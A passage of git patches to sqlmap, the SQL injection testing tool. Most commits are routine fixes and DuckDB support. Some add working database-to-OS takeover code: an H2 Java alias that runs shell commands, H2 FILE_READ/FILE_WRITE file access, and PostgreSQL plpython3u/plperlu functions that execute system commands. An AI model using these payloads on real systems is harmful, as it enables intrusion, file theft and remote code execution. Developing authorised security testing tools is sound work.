comment injection.data[stype].templatePayload = templatePayload injection.data[stype].matchRatio = kb.matchRatio + injection.data[stype].trueLength = kb.trueLength injection.data[stype].trueCode = trueCode injection.data[stype].falseCode = falseCode injection.conf.textOnly = conf.textOnly injection.conf.titles = conf.titles injection.conf.code = conf.code + injection.conf.lengths = conf.lengths injection.conf.string = conf.string injection.conf.notString = conf.notString injection.conf.regexp = conf.regexp diff --git a/lib/core/common.py b/lib/core/common.py index 66e4140ed9..65d702c339 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3746,6 +3746,7 @@ def initTechnique(technique=None): if data: kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place) kb.matchRatio = data.matchRatio + kb.trueLength = data.trueLength kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE) # Restoring stored conf options diff --git a/lib/core/option.py b/lib/core/option.py index d61134aa5a..c808d2b7b7 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2264,6 +2264,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.matchRatio = None kb.maxConnectionsFlag = False + kb.trueLength = None kb.mergeCookies = None kb.multiThreadMode = False kb.multipleCtrlC = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 42e82a9b55..ba4a2e6f53 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.92" +VERSION = "1.10.7.93" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c1e0f9ed9b..c30520f6a0 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -406,6 +406,9 @@ def cmdLineParser(argv=None): detection.add_argument("--code", dest="code", type=int, help="HTTP code to match when query is evaluated to True") + detection.add_argument("--lengths", dest="lengths", action="store_true", + help="Compare pages based only on their content length") + detection.add_argument("--smart", dest="smart", action="store_true", help="Perform thorough tests only if positive heuristic(s)") diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 30beafabc7..8913383536 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -114,6 +114,10 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if conf.code: return conf.code == code + # Response content length to match when the query is True + if conf.lengths: + return len(page or "") == kb.trueLength + seqMatcher = threadData.seqMatcher seqMatcher.set_seq1(kb.pageTemplate) From 9331ac0f2c4cec049c444ba60968f6392233195d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 16:59:41 +0200 Subject: [PATCH 07/15] Adding support for DuckDB --- lib/core/enums.py | 1 + lib/core/settings.py | 4 +- plugins/dbms/postgresql/enumeration.py | 56 ++++++++++++++++++++++++++ plugins/dbms/postgresql/fingerprint.py | 5 ++- 4 files changed, 63 insertions(+), 3 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 0e4798e338..e74f929974 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -117,6 +117,7 @@ class FORK(object): DORIS = "Doris" STARROCKS = "StarRocks" TRINO = "Trino" + DUCKDB = "DuckDB" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index ba4a2e6f53..3ab6bdcbe4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.93" +VERSION = "1.10.7.94" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -368,7 +368,7 @@ # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks") -PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss") +PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss", "duckdb") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 181384becb..e52208d67a 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -5,7 +5,11 @@ See the file 'LICENSE' for copying permission """ +from lib.core.common import Backend from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import DBMS +from lib.core.enums import FORK from plugins.generic.enumeration import Enumeration as GenericEnumeration @@ -13,3 +17,55 @@ class Enumeration(GenericEnumeration): def getHostname(self): warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" logger.warning(warnMsg) + + def getColumns(self, *args, **kwargs): + if not Backend.isFork(FORK.DUCKDB): + return GenericEnumeration.getColumns(self, *args, **kwargs) + + # DuckDB (PostgreSQL fork) exposes column metadata through information_schema instead of the + # pg_catalog tables (pg_attribute yields no rows), so swap those queries in for the generic routine + columns = queries[DBMS.PGSQL].columns + backup = (columns.inband.query, columns.inband.condition, columns.blind.query, columns.blind.query2, columns.blind.count, columns.blind.condition) + + columns.inband.query = "SELECT column_name,data_type FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" + columns.blind.query = "SELECT column_name FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" + columns.blind.query2 = "SELECT data_type FROM information_schema.columns WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" + columns.blind.count = "SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s'" + columns.inband.condition = columns.blind.condition = "column_name" + + try: + return GenericEnumeration.getColumns(self, *args, **kwargs) + finally: + columns.inband.query, columns.inband.condition, columns.blind.query, columns.blind.query2, columns.blind.count, columns.blind.condition = backup + + def getUsers(self): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the users" + logger.warning(warnMsg) + return [] + + return GenericEnumeration.getUsers(self) + + def getPasswordHashes(self): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getPasswordHashes(self) + + def getPrivileges(self, query2=False): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getPrivileges(self, query2) + + def getRoles(self, query2=False): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user roles" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getRoles(self, query2) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 20eed02a91..3bcf8a5107 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -45,6 +45,8 @@ def getFingerprint(self): fork = FORK.OPENGAUSS elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA + elif inject.checkBooleanExpression("[1,2,3][2]=2"): # NOTE: bare list literal with 1-based indexing is DuckDB-only (invalid syntax on PostgreSQL) + fork = FORK.DUCKDB else: fork = "" @@ -109,7 +111,8 @@ def checkDbms(self): logger.info(infoMsg) # NOTE: Vertica works too without the CONVERT_TO() - result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") + # NOTE: DuckDB (PostgreSQL dialect fork) lacks CONVERT_TO()/QUOTE_IDENT(), so it is accepted via its list-literal instead + result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") or inject.checkBooleanExpression("[1,2,3][2]=2") if result: infoMsg = "confirming %s" % DBMS.PGSQL From b1ff8a31d80b2d73e1d2fff55df3f2002927f4fb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 17:11:14 +0200 Subject: [PATCH 08/15] Fixes CI/CD --- lib/core/common.py | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 65d702c339..ad9f5564c9 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3746,7 +3746,8 @@ def initTechnique(technique=None): if data: kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place) kb.matchRatio = data.matchRatio - kb.trueLength = data.trueLength + kb.trueLength = data.get("trueLength") # NOTE: absent in sessions stored before the '--lengths' switch was introduced + kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE) # Restoring stored conf options diff --git a/lib/core/settings.py b/lib/core/settings.py index 3ab6bdcbe4..1d2e6d9d7d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.94" +VERSION = "1.10.7.95" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 94e21844d7a61beb248adfbe045721391d49827c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 17:24:35 +0200 Subject: [PATCH 09/15] Minor update --- data/xml/errors.xml | 5 +++++ lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index ddf34d51e9..706994f12d 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -228,6 +228,11 @@ + + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 1d2e6d9d7d..62b2762d08 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.95" +VERSION = "1.10.7.96" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 38ab43f29e6aeeb79187a2cb2d54a195996f737e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 18:22:15 +0200 Subject: [PATCH 10/15] Improvement for H2 and Oracle --- data/xml/queries.xml | 18 +++++++-------- lib/core/settings.py | 2 +- lib/takeover/abstraction.py | 6 +++++ plugins/dbms/h2/filesystem.py | 41 +++++++++++++++++++++++++++++----- plugins/dbms/h2/fingerprint.py | 7 ++++++ plugins/dbms/h2/takeover.py | 33 +++++++++++++++++++++++---- plugins/generic/filesystem.py | 2 +- 7 files changed, 88 insertions(+), 21 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 8313e94dfb..ca744e96be 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -305,8 +305,8 @@ - - + + @@ -598,7 +598,7 @@ - + @@ -1983,12 +1983,12 @@ - - + + - - + + @@ -2003,8 +2003,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 62b2762d08..331933092d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.96" +VERSION = "1.10.7.97" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index cb3e8a58bc..3f43afb364 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -58,6 +58,9 @@ def execCmd(self, cmd, silent=False): elif Backend.isDbms(DBMS.MSSQL): self.xpCmdshellExecCmd(cmd, silent=silent) + elif Backend.isDbms(DBMS.H2): + self.h2ExecCmd(cmd, silent=silent) + else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) @@ -77,6 +80,9 @@ def evalCmd(self, cmd, first=None, last=None): elif Backend.isDbms(DBMS.MSSQL): retVal = self.xpCmdshellEvalCmd(cmd, first, last) + elif Backend.isDbms(DBMS.H2): + retVal = self.h2EvalCmd(cmd, first, last) + else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index f607dc2438..c82ba858ea 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -5,14 +5,43 @@ See the file 'LICENSE' for copying permission """ -from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.common import checkFile +from lib.core.convert import getText +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, remoteFile): - errMsg = "on H2 it is not possible to read files" - raise SqlmapUnsupportedFeatureException(errMsg) + def nonStackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + # NOTE: FILE_READ() is a default H2 builtin and works in a plain SELECT (no stacking required) + result = inject.getValue("RAWTOHEX(FILE_READ('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + + return result + + def stackedReadFile(self, remoteFile): + # H2 reads through a builtin scalar, so the stacked/direct path reuses the same primitive + return self.nonStackedReadFile(remoteFile) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): - errMsg = "on H2 it is not possible to write files" - raise SqlmapUnsupportedFeatureException(errMsg) + checkFile(localFile) + self.checkDbmsOs() + + with open(localFile, "rb") as f: + content = getText(f.read()) + + infoMsg = "writing the file content to '%s'" % remoteFile + logger.info(infoMsg) + + # NOTE: FILE_WRITE() is the H2 builtin counterpart of FILE_READ(); being a plain scalar it needs no + # stacked queries (the write happens as a side effect over UNION/error/blind). The content is passed + # as a string literal (STRINGTOUTF8) so it survives sqlmap's CHAR()-encoding (unlike an X'..' literal) + inject.getValue("CAST(FILE_WRITE(STRINGTOUTF8('%s'),'%s') AS INT)" % (content.replace("'", "''"), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 7125b27cec..44252d1ea1 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -119,3 +119,10 @@ def checkDbms(self): def getHostname(self): warnMsg = "on H2 it is not possible to enumerate the hostname" logger.warning(warnMsg) + + def checkDbmsOs(self, detailed=False): + if Backend.getOs(): + infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() + logger.info(infoMsg) + else: + self.userChooseDbmsOs() diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index 29ba323a57..50b62af544 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -5,17 +5,42 @@ See the file 'LICENSE' for copying permission """ +from lib.core.common import Backend +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.enums import OS from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): - errMsg = "on H2 it is not possible to execute commands" - raise SqlmapUnsupportedFeatureException(errMsg) + self._createExecAlias() + self.runCmd(conf.osCmd) def osShell(self): - errMsg = "on H2 it is not possible to execute commands" - raise SqlmapUnsupportedFeatureException(errMsg) + self._createExecAlias() + self.shell() + + def _createExecAlias(self): + # NOTE: H2 compiles an inline Java source alias that shells out; the $$-delimited body avoids + # single-quote escaping and survives stacked-query injection intact + if not kb.get("h2ExecAlias"): + kb.h2ExecAlias = randomStr(lowercase=True) + argv = '"cmd.exe","/c"' if Backend.isOs(OS.WINDOWS) else '"/bin/sh","-c"' + # NOTE: ProcessBuilder().start() is used instead of Runtime.exec() because 'exec' is an SQL + # statement keyword that sqlmap's cleanQuery() would upper-case and break the case-sensitive Java + source = 'String x(String c) throws Exception { return new String(new ProcessBuilder(new String[]{%s,c}).start().getInputStream().readAllBytes()); }' % argv + inject.goStacked("CREATE ALIAS IF NOT EXISTS %s AS $$ %s $$" % (kb.h2ExecAlias, source)) + + def h2ExecCmd(self, cmd, silent=False): + self._createExecAlias() + inject.goStacked("CALL %s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''"))) + + def h2EvalCmd(self, cmd, first=None, last=None): + self._createExecAlias() + return inject.getValue("%s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")), safeCharEncode=False) def osPwn(self): errMsg = "on H2 it is not possible to establish an " diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 3e3c5f4b62..69ceebb9f5 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -229,7 +229,7 @@ def readFile(self, remoteFile): logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) - elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL): + elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2): debugMsg = "going to try to read the file with non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) From dab476da8a7cb77d3b61e292399f56c50760e717 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 18:38:09 +0200 Subject: [PATCH 11/15] Implementing PostgreSQL PL-extension RCE --- lib/core/settings.py | 2 +- lib/takeover/abstraction.py | 8 ++++- plugins/dbms/postgresql/takeover.py | 46 +++++++++++++++++++++++++++++ 3 files changed, 54 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 331933092d..e81b416636 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.97" +VERSION = "1.10.7.98" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 3f43afb364..2ec4b4c937 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -52,6 +52,9 @@ def execCmd(self, cmd, silent=False): elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): self.webBackdoorRunCmd(cmd) + elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec(): + self.plExecCmd(cmd, silent=silent) + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.udfExecCmd(cmd, silent=silent) @@ -74,6 +77,9 @@ def evalCmd(self, cmd, first=None, last=None): elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): retVal = self.webBackdoorRunCmd(cmd) + elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec(): + retVal = self.plExecCmd(cmd) + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): retVal = self.udfEvalCmd(cmd, first, last) @@ -221,7 +227,7 @@ def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): logger.warning(warnMsg) - if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and (self.checkCopyExec() or self.checkPlExec()): success = True elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys() diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index ee9b70f345..709f6ff2e5 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -17,6 +17,7 @@ from lib.core.common import isStackingAvailable from lib.core.common import randomStr from lib.core.compat import LooseVersion +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -128,3 +129,48 @@ def checkCopyExec(self): kb.copyExecTest = self.copyExecCmd("echo 1") == '1' return kb.copyExecTest + + def _plRun(self, func, cmd): + output = inject.getValue("%s('%s')" % (func, cmd.replace("'", "''")), resumeValue=False, safeCharEncode=False) + + if isListLike(output): + output = flattenValue(output) + output = filterNone(output) + + if not isNoneValue(output): + output = os.linesep.join(getText(_) for _ in output) + + return output + + def _plExecFunc(self): + # NOTE: forge a command-exec function through an untrusted procedural language. Unlike the shared + # library UDF this needs no precompiled binary (the ancient 'lib_postgresqludf_sys' artifacts), + # only a superuser-installable language - a maintainable fallback when 'COPY ... FROM PROGRAM' is blocked + if kb.get("plExecFunc") is None: + kb.plExecFunc = "" + + if isStackingAvailable() or conf.direct: + func = randomStr(lowercase=True) + + for language, body in (("plpython3u", "import subprocess; return subprocess.check_output(cmd, shell=True).decode()"), + ("plperlu", "return `$_[0]`;")): + inject.goStacked("CREATE EXTENSION IF NOT EXISTS %s" % language, silent=True) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(cmd text) RETURNS text AS $$ %s $$ LANGUAGE %s" % (func, body, language), silent=True) + + if (self._plRun(func, "echo 1") or "").strip() == '1': + kb.plExecFunc = func + + infoMsg = "the back-end DBMS allows command execution via the '%s' procedural language" % language + logger.info(infoMsg) + + break + + return kb.plExecFunc or None + + def checkPlExec(self): + return self._plExecFunc() is not None + + def plExecCmd(self, cmd, silent=False): + func = self._plExecFunc() + + return self._plRun(func, cmd) if func else None From af385c37c0f80b9030952e51d89394489b2ea31a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 19:32:25 +0200 Subject: [PATCH 12/15] Minor fine tuning --- data/xml/payloads/error_based.xml | 8 ++++---- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 95fd4b40b7..f92974eac4 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -608,7 +608,7 @@ Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 - 2 + 4 1 1,9 1 @@ -628,7 +628,7 @@ Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 - 2 + 4 3 1,9 2 @@ -686,7 +686,7 @@ Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 - 4 + 2 1 1,9 1 @@ -705,7 +705,7 @@ Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 - 4 + 2 3 1,9 2 diff --git a/lib/core/settings.py b/lib/core/settings.py index e81b416636..2a86743d80 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.98" +VERSION = "1.10.7.99" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1c894ab11652475b96815c42cec90185d66e8c79 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 19:47:54 +0200 Subject: [PATCH 13/15] DB2 views fix --- data/xml/queries.xml | 12 ++++++------ lib/core/settings.py | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index ca744e96be..c5269a52e9 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -670,8 +670,8 @@ - - + + @@ -686,12 +686,12 @@ - - + + - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 2a86743d80..fb68fcac17 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.99" +VERSION = "1.10.7.100" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 5f99b283c2a47c746a09bc937d42ebbd7e645d47 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 20:07:32 +0200 Subject: [PATCH 14/15] Minor fixes --- data/xml/queries.xml | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/databases.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index c5269a52e9..0585845bcf 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -314,8 +314,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index fb68fcac17..9cd7d6a848 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.100" +VERSION = "1.10.7.101" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b648714bde..264ee5d1a5 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -301,7 +301,7 @@ def getTables(self, bruteForce=None): if condition: if not Backend.isDbms(DBMS.SQLITE): - query += " WHERE %s" % condition + query += " %s %s" % ("AND" if re.search(r"(?i)\bWHERE\b", query) else "WHERE", condition) if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) From 0338c13063595087967a2b9a2986ac91ab611e42 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 20:27:37 +0200 Subject: [PATCH 15/15] Minor update for SQLlinter --- lib/core/settings.py | 2 +- lib/utils/sqllint.py | 38 ++++++++++++++++++++++++++++++++++++++ tests/test_sqllint.py | 6 ++++++ 3 files changed, 45 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9cd7d6a848..b1a69bbd82 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.101" +VERSION = "1.10.7.102" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqllint.py b/lib/utils/sqllint.py index 867b4c7d22..f38ef28584 100644 --- a/lib/utils/sqllint.py +++ b/lib/utils/sqllint.py @@ -75,6 +75,16 @@ # "a,limit,b" would false-positive. 